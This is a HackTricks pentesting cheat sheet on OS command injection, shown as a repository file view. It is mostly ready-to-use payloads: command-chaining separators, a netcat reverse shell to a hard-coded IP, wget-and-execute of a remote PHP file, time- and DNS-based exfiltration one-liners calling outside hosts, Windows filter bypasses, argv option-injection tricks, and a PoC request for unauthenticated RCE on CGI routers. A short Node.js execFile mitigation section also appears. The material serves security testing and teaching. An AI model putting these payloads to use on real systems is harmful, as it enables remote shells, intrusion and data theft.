hacktricks/src/pentesting-web/command-injection.md
2025-10-04 11:06:35 +02:00

210 lines
7.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Command Injection
{{#include ../banners/hacktricks-training.md}}
## What is command Injection?
A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.
### Context
Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands.
## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limition** Bypasses
If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### **Examples**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parameters
Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Time based data exfiltration
Extracting data: char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
### Filtering bypass
#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### Node.js `child_process.exec` vs `execFile`
When auditing JavaScript/TypeScript back-ends you will often encounter the Node.js `child_process` API.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
```
`exec()` spawns a **shell** (`/bin/sh -c`), therefore any character that has a special meaning to the shell (back-ticks, `;`, `&&`, `|`, `$()`, …) will result in **command injection** when user input is concatenated in the string.
**Mitigation:** use `execFile()` (or `spawn()` without the `shell` option) and provide **each argument as a separate array element** so no shell is involved:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
```
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
Typical places where this appears:
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
What to try:
- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
- Abuse flags that change behavior or write files, for example:
- `ping`: `-f`/`-c 100000` to stress the device (DoS)
- `curl`: `-o /tmp/x` to write arbitrary paths, `-K <url>` to load attacker-controlled config
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers
- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
Generic PoC shapes against centralized CGI dispatchers:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```
## Brute-Force Detection List
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../banners/hacktricks-training.md}}